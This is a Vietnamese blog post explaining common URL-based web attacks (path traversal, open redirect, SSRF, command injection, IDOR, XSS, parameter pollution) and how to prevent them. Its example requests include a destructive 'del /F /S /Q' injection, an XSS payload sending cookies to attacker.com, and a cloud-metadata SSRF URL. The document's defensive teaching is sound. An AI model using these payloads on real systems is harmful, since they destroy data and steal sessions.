Các Loại Tấn Công URL Thường Gặp và Phòng Ngừa

Ứng dụng Web thường xuyên phải đối mặt với nhiều dạng tấn công khai thác URL. Mỗi loại tấn công có đặc điểm riêng và phương pháp phòng ngừa cụ thể. Dưới đây là phân tích chi tiết:

  1. Duyệt Vượt Qua Thư Mục (Directory Traversal)

Nguyên lý tấn công:

Kẻ tấn công chèn các chuỗi đặc biệt như ../ vào URL để truy cập các tệp hệ thống không được phép công khai (ví dụ: /etc/passwd, tệp cấu hình).

Ví dụ thực tế:

GET /download?file=../../../../windows/system32/drivers/etc/hosts

Biện pháp phòng ngừa:

  • Không nối trực tiếp đường dẫn tệp từ đầu vào người dùng.
  • Áp dụng cơ chế danh sách trắng để giới hạn tệp/thư mục được truy cập.
  • Xử lý và chuẩn hóa đường dẫn (sử dụng Path.getCanonicalPath()) và kiểm tra nằm trong thư mục gốc cho phép.
  • Sử dụng API an toàn (như Path.resolve().normalize()) và xác tra bắt đầu bằng tiền tố hợp lệ.
  1. Chuyển Hướng Mở (Open Redirect)

Nguyên lý tấn công:

Ứng dụng dựa vào tham số URL để chuyển hướng đến trang bên ngoài, dẫn đến tấn công lừa đảo.

Ví dụ thực tế:

https://yourbank.com/login?next=https://fake-bank.com/login

Biện pháp phòng ngừa:

  • Tránh sử dụng URL do người dùng kiểm soát để thực hiện chuyển hướng.
  • Nếu cần chuyển hướng, sử dụng đường dẫn tương đối hoặc danh sách tên miền/đường dẫn được định trước.
  • Xác thực nghiêm ngặt mục tiêu chuyển hướng (chỉ cho phép cùng tên miền, sử dụng ID ánh xạ thay vì URL đầy đủ).
  1. Tạo Lỗi Yêu Cầu Mặt Trên Server (SSRF)

Nguyên lý tấn công:

Kẻ tấn công thông qua tham số URL khiến server gửi yêu cầu đến hệ thống nội bộ (như 127.0.0.1:8080, dịch vụ metadata), vượt qua tường lửa.

Ví dụ thực tế:

GET /proxy?url=http://169.254.169.254/latest/meta-data/

Biện pháp phòng ngừa:

  • Cấm sử dụng đầu vào người dùng làm URL đích cho yêu cầu backend.
  • Nếu cần ủy quyền yêu cầu, sử dụng danh sách tên miền/IP trắng.
  • Chặn truy cập các đoạn IP riêng tư (như 10.0.0.0/8, 192.168.0.0/16, 127.0.0.0/8).
  • Sử dụng lớp bảo vệ mạng (như security group, WAF) để giới hạn kết nối ra ngoài.
  1. Tiêm Lệnh (Command Injection)

Nguyên lý tấn công:

Nếu tham số URL được ghép vào lệnh hệ thống (như Runtime.exec()), kẻ tấn công có thể tiêm lệnh độc hại.

Ví dụ thực tế:

GET /execute?cmd=ping 127.0.0.1 && del /F /S /Q C:\*

Biện pháp phòng ngừa:

  • Tuyệt đối không ghép đầu vào người dùng vào lệnh hệ thống.
  • Sử dụng API an toàn (như gọi có tham số, thư viện chuyên dụng) thay vì lệnh shell.
  • Lọc và thoát hóa đầu vào một cách nghiêm ngặt (nhưng không đáng tin bằng việc tránh sử dụng).
  1. IDOR (Tham Chiếu Trực Tiếp Đối Tượng Không An Toàn)

Nguyên lý tấn công:

URL trực tiếp tiết lộ ID tài nguyên (như /user/123), kẻ tấn công sửa đổi ID để truy cập dữ liệu người khác.

Ví dụ thực tế:

GET /api/document/456  → Thử truy cập tài liệu của người khác

Biện pháp phòng ngừa:

  • Triển khai kiểm soát truy cập dựa trên vai trò (RBAC) hoặc kiểm tra cấp độ đối tượng.
  • Không phụ thuộc vào "ID ẩn" để bảo vệ dữ liệu, xác minh quyền truy cập tài nguyên cho mỗi yêu cầu.
  • Xem xét sử dụng tham chiếu không thể đoán trước (như UUID) thay vì ID tự tăng (nhưng không thể thay thế kiểm tra quyền!).
  1. XSS (Tấn Công Chéo Trang Web) qua Tham Số URL

Nguyên lý tấn công:

Tham số URL (như ?q=<script>alert(1)</script>) không được thoát hóa khi xuất ra trang, dẫn đến thực thi mã.

Ví dụ thực tế:

https://site.com/search?q=<svg onload=fetch('//attacker.com/steal?cookie='+document.cookie)>

Biện pháp phòng ngừa:

  • Thực hiện thoát hóa HTML cho mọi đầu vào người dùng trước khi xuất ra trang (sử dụng khung tự động thoát hóa như Thymeleaf, React).
  • Thiết lập tiêu đề Content-Security-Policy (CSP) để giới hạn nguồn tập lệnh.
  • Tránh nối trực tiếp tham số URL vào DOM trong JavaScript.
  1. Ô Nhiễm Tham Số HTTP (HPP)

Nguyên lý tấn công:

Lặp lại tham số trong URL (như ?id=1&id=2), cách thức phân tích khác nhau của backend có thể dẫn đến logic bị bypass.

Biện pháp phòng ngừa:

  • Xác định rõ logic xử lý đa giá trị (chỉ lấy giá trị đầu tiên hoặc cuối cùng).
  • Sử dụng ràng buộc tham số kiểu mạnh (như @RequestParam của Spring mặc định lấy giá trị đầu tiên).
  • Xác thực tính hợp lệ của các tham số quan trọng.

Khuyến Nghị Phòng Ngừa Chung

Biện pháp Mô tả
**Xác thực đầu vào** Xác thực đường dẫn URL, tham số truy vấn bằng danh sách trắng/định dạng (như regex, kiểm tra kiểu).
**Mã hóa đầu ra** Mã hóa chính xác nội dung đầu ra trong ngữ cảnh HTML, JS, URL.
**Nguyên tắc quyền tối thiểu** Chạy dịch vụ Web với quyền hạn thấp, giới hạn khả năng truy cập tệp/mạng.
**Sử dụng khung bảo mật** Như Spring Security, OWASP ESAPI, tránh viết logic bảo mật thủ công.
**WAF (Tường lửa ứng dụng Web)** Chặn các mẫu tấn công phổ biến (như ../, <script>).
**Ghi nhật ký và giám sát** Ghi lại các yêu cầu URL bất thường, thuận tiện cho kiểm toán và cảnh báo.

Tổng Kết

URL không phải là nguồn đầu vào đáng tin cậy! Tất cả dữ liệu từ URL (đường dẫn, tham số, Fragment) đều nên được coi là đầu vào tiềm ẩn độc hại, phải được xác thực, lọc, thoát hóa và thực hiện kiểm soát quyền trong logic nghiệp vụ.

Thẻ: web-security url-attacks path-traversal ssrf XSS

Đăng vào ngày 29 tháng 5 lúc 10:51